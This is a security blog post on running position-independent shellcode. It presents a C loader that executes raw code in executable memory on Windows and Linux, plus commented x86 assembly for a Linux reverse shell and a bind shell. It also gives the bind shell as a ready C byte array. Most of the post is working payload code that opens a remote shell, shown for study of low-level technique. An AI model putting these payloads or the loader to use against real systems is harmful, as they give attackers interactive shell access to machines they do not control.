Shellcodes: Executing Windows and Linux Shellcodes

Introduction

Recently, I finished an interactive shell for windows written in C which is also position independent.

The server component runs on UNIX based OS and I was trying to test out delivery of the PIC to windows machine over network which resulted in writing a simple tool for both Linux/windows that executes PIC files.

The general idea is to allocate virtual memory with executable/write/read permissions, copy some PIC there and run it. On Windows, we use VirtualAlloc() API and on Linux we use mmap(). The following function is from runsc tool.

void xcode(args_t *p)
{
  void *bin;
#ifdef WIN
  bin=VirtualAlloc (0, p->code_len, 
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#else
  bin=mmap (0, p->code_len, 
    PROT_EXEC | PROT_WRITE | PROT_READ, 
    MAP_ANON  | MAP_PRIVATE, -1, 0);
#endif
  if (bin!=NULL)
  {
    memcpy (bin, p->code, p->code_len);
    //DebugBreak();
    ((void(*)())bin)();
#ifdef WIN
    VirtualFree (bin, p->code_len, MEM_RELEASE);
#else
    munmap (bin, p->code_len);
#endif
  }
}

linux shellcodes used

As anyone with experience writing shellcode for windows will tell you, writing Linux shellcodes is much easier.

In x86, parameters for Linux system call are EAX for the syscall_number, then EBX, ECX, EDX, ESI, EDI, EBP used for passing parameters. For the reverse/bind shells, only EAX, EBX and ECX are used because most of the work is accomplished using sys_socketcall

The return value is in EAX. All other registers (including EFLAGS) are preserved across the int 0x80 which makes life easier for writing PIC.

While testing out codes, I came across a couple written by Geyslan G. Bem which I think are worth a mention here, specifically because of just one instruction that surprised me and it’s one of the reasons I love assembly code so much. (when it works)

Normally when I want EDX zero’d in the least amount of code, If EAX is or expected to be less than 0x80000000, I use CDQ to zero EDX. Like the following.

//
  /* 0000 */ "\x6a\x66" /* push 0x66 */
  /* 0002 */ "\x58"     /* pop eax   */
  /* 0003 */ "\x6a\x01" /* push 0x1  */
  /* 0005 */ "\x5b"     /* pop ebx   */
  /* 0006 */ "\x99"     /* cdq       */

The code used by Geyslan which surprised me uses a MUL instruction with EBX set to zero. It doesn’t have to be EBX, it can be any register set to zero but because EBX is used to pass parameter to system call, it’s zero’d first.

//
  /* 0000 */ "\x31\xdb" /* xor ebx, ebx */
  /* 0002 */ "\xf7\xe3" /* mul ebx      */
  /* 0004 */ "\xb0\x66" /* mov al, 0x66 */
  /* 0006 */ "\x43"     /* inc ebx      */

Which is better? In the case of linux shellcode, it’d be just a personal preference I suppose. Both are same size and accomplish the same thing. Although, I still think using MUL to clear EAX:EDX is good to remember.

The following are just disassemblies of code by Geyslan commented by me for anyone interested in how they work. I fixed a bug with the reverse shell where ebx=sockfd instead of ebx=3 for sys_connect…

I was just curious about how they worked and documented for myself. Maybe someone else will find them useful too.

UPDATE: I’ve been informed the code presented here can be found as far back as 2003 by another author. After I did some more searching, it seems quite a bit of linux shellcode out there for x86 is derived from code by the old security group LSD (who released asmcodes paper in 2001) and various other exploit developers at the time including CORE security.

Reverse Connecting Shell

; 69 byte reverse shell for linux/x86
; odzhan

    bits 32
    
    ; setup sock_addr
    mov    eax, ~0x0100007f & 0xFFFFFFFF 
    mov    edx, ~0xD2040002 & 0xFFFFFFFF 
    not    eax
    not    edx
    push   eax
    push   edx
    mov    ebp, esp
    
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);    
    xor    ebx, ebx          ; ebx=0
    mul    ebx               ; eax=0, edx=0
    mov    al, 0x66          ; eax      = sys_socketcall
    inc    ebx               ; ebx      = sys_socket
    push   edx               ; protocol = IPPROTO_IP
    push   ebx               ; type     = SOCK_STREAM
    push   2                 ; family   = AF_INET
    mov    ecx, esp          ; ecx      = &args
    int    0x80
    
    xchg   eax, ebx          ; ebx      = s
    
    ; step 2, assign socket to stdin, stdout, stderr
    ; dup2 (s, STDIN_FILENO)
    ; dup2 (s, STDOUT_FILENO)
    ; dup2 (s, STDERR_FILENO)    
    pop    ecx               ; ecx=2
dup_loop:
    mov    al, 0x3f          ; eax=sys_dup2
    int    0x80 
    dec    ecx
    jns    dup_loop          ; jump if not signed
    
    mov    ecx, ebp          ; ecx=&sa
    mov    al, 0x66          ; eax=sys_socketcall
    
    ; step 3, connect to remote host
    ; connect (s, &sa, sizeof(sa));    
    push   0x10              ; sizeof(sa)
    push   ecx               ; &sa
    push   ebx               ; sockfd
    mov    ecx, esp          ; &args
    push   3
    pop    ebx               ; ebx=sys_connect
    int    0x80
    
    ; step 4, execute /bin/sh
    ; execv("/bin//sh", NULL, NULL);    
    mov    al, 0xb           ; eax=sys_execve
    push   edx               ; '\0'
    push   '//sh'	           ; 
    push   '/bin'	           ; 
    mov    ebx, esp          ; ebx="/bin//sh", 0
    xor    ecx, ecx          ; ecx=0 argv=0
    int    0x80              ; exec sys_execve

Bind Shell

; 73 byte reverse shell for linux/x86
; odzhan

    bits 32

    ; setup sock_addr
    mov    eax, ~0x00000000 & 0xFFFFFFFF ; ADDR_ANY
    mov    edx, ~0xD2040002 & 0xFFFFFFFF  ; 1234, AF_INET
    not    eax
    not    edx
    push   eax
    push   edx
    mov    ebp, esp
    
    xor    ebx, ebx          ; ebx=0
    mul    ebx               ; eax=0, edx=0
    ; step 1, create a socket
    ; socket (AF_INET, SOCK_STREAM, IPPROTO_IP)
    mov    al, 0x66          ; eax = sys_socketcall
    inc    ebx               ; ebx = sys_socket
    push   edx               ; args.protocol = IPPROTO_IP
    push   ebx               ; args.type     = SOCK_STREAM
    push   2                 ; args.family   = AF_INET
    mov    ecx, esp          ; ecx=&args
    int    0x80
    
    xchg   eax, edi
    
    ; step 2, bind to port 1234
    ; bind (s, &sa, sizeof(sa))
    pop    ebx               ; ebx=2, sys_bind
    pop    esi               ; esi=1
    push   0x10              ; sizeof(sa)
    push   ebp               ; &sa
    push   edi               ; s
    mov    al, 0x66          ; eax=sys_socketcall
    mov    ecx, esp          ; ecx=&args
    int    0x80
    
    mov    [ecx+4], edx      ; clear sa from args
    
    ; step 3, listen for incoming connections
    ; listen (s, 0);
    mov    al, 0x66          ; eax=sys_socketcall
    mov    bl, 4             ; ebx=sys_listen
    int    0x80
    
    ; step 4, accept connections
    ; accept (s, 0, 0);
    mov    al, 0x66          ; eax=sys_socketcall
    inc    ebx               ; ebx=sys_accept
    int    0x80
    
    ; step 5, assign socket to stdin, stdout and stderr
    ; dup2(s, FILENO_STDIN); 
    ; dup2(s, FILENO_STDOUT); 
    ; dup2(s, FILENO_STDERR); 
    push   2
    pop    ecx               ; ecx=2
    xchg   ebx, eax          ; ebx=s
dup_loop:
    push   0x3f
    pop    eax               ; eax=sys_dup2
    int    0x80
    dec    ecx
    jns    dup_loop
    
    ; step 6, execute /bin//sh
    inc    ecx
    mov    al, 0xb           ; eax=sys_execve
    push   ecx
    push   '//sh'	           ; 
    push   '/bin'	           ; 
    mov    ebx, esp          ; ebx="/bin//sh", 0
    int    0x80              ; exec sys_execve

If wanted a neat formatted C string with the code to further manipulate, see disasm for something like this.

#define BS_SIZE 90

char BS[] = {
  /* 0000 */ "\xb8\xff\xff\xff\xff" /* mov eax, 0xffffffff */
  /* 0005 */ "\xba\xfd\xff\xfb\x2d" /* mov edx, 0x2dfbfffd */
  /* 000A */ "\xf7\xd0"             /* not eax             */
  /* 000C */ "\xf7\xd2"             /* not edx             */
  /* 000E */ "\x50"                 /* push eax            */
  /* 000F */ "\x52"                 /* push edx            */
  /* 0010 */ "\x89\xe5"             /* mov ebp, esp        */
  /* 0012 */ "\x31\xdb"             /* xor ebx, ebx        */
  /* 0014 */ "\xf7\xe3"             /* mul ebx             */
  /* 0016 */ "\xb0\x66"             /* mov al, 0x66        */
  /* 0018 */ "\x43"                 /* inc ebx             */
  /* 0019 */ "\x52"                 /* push edx            */
  /* 001A */ "\x53"                 /* push ebx            */
  /* 001B */ "\x6a\x02"             /* push 0x2            */
  /* 001D */ "\x89\xe1"             /* mov ecx, esp        */
  /* 001F */ "\xcd\x80"             /* int 0x80            */
  /* 0021 */ "\x97"                 /* xchg edi, eax       */
  /* 0022 */ "\x5b"                 /* pop ebx             */
  /* 0023 */ "\x5e"                 /* pop esi             */
  /* 0024 */ "\x6a\x10"             /* push 0x10           */
  /* 0026 */ "\x55"                 /* push ebp            */
  /* 0027 */ "\x57"                 /* push edi            */
  /* 0028 */ "\xb0\x66"             /* mov al, 0x66        */
  /* 002A */ "\x89\xe1"             /* mov ecx, esp        */
  /* 002C */ "\xcd\x80"             /* int 0x80            */
  /* 002E */ "\x89\x51\x04"         /* mov [ecx+0x4], edx  */
  /* 0031 */ "\xb0\x66"             /* mov al, 0x66        */
  /* 0033 */ "\xb3\x04"             /* mov bl, 0x4         */
  /* 0035 */ "\xcd\x80"             /* int 0x80            */
  /* 0037 */ "\xb0\x66"             /* mov al, 0x66        */
  /* 0039 */ "\x43"                 /* inc ebx             */
  /* 003A */ "\xcd\x80"             /* int 0x80            */
  /* 003C */ "\x6a\x02"             /* push 0x2            */
  /* 003E */ "\x59"                 /* pop ecx             */
  /* 003F */ "\x93"                 /* xchg ebx, eax       */
  /* 0040 */ "\x6a\x3f"             /* push 0x3f           */
  /* 0042 */ "\x58"                 /* pop eax             */
  /* 0043 */ "\xcd\x80"             /* int 0x80            */
  /* 0045 */ "\x49"                 /* dec ecx             */
  /* 0046 */ "\x79\xf8"             /* jns 0x40            */
  /* 0048 */ "\x41"                 /* inc ecx             */
  /* 0049 */ "\xb0\x0b"             /* mov al, 0xb         */
  /* 004B */ "\x51"                 /* push ecx            */
  /* 004C */ "\x68\x2f\x2f\x73\x68" /* push 0x68732f2f     */
  /* 0051 */ "\x68\x2f\x62\x69\x6e" /* push 0x6e69622f     */
  /* 0056 */ "\x89\xe3"             /* mov ebx, esp        */
  /* 0058 */ "\xcd\x80"             /* int 0x80            */
};

The tool for running shellcodes can be found here

This entry was posted in assembly, linux, shellcode, windows and tagged , , , , , . Bookmark the permalink.

2 Responses to Shellcodes: Executing Windows and Linux Shellcodes

  1. Peter Ferrie says:

    To zero EAX, EDX, and a third register, this is the most efficient way to do it.

    Like

    • Odzhan says:

      Was pleasantly surprised. I’m sure you’ve seen it long before 🙂 but that’s a new one for me. I’m working on something for Linux might interest you, will email you later in week.

      Like

Leave a comment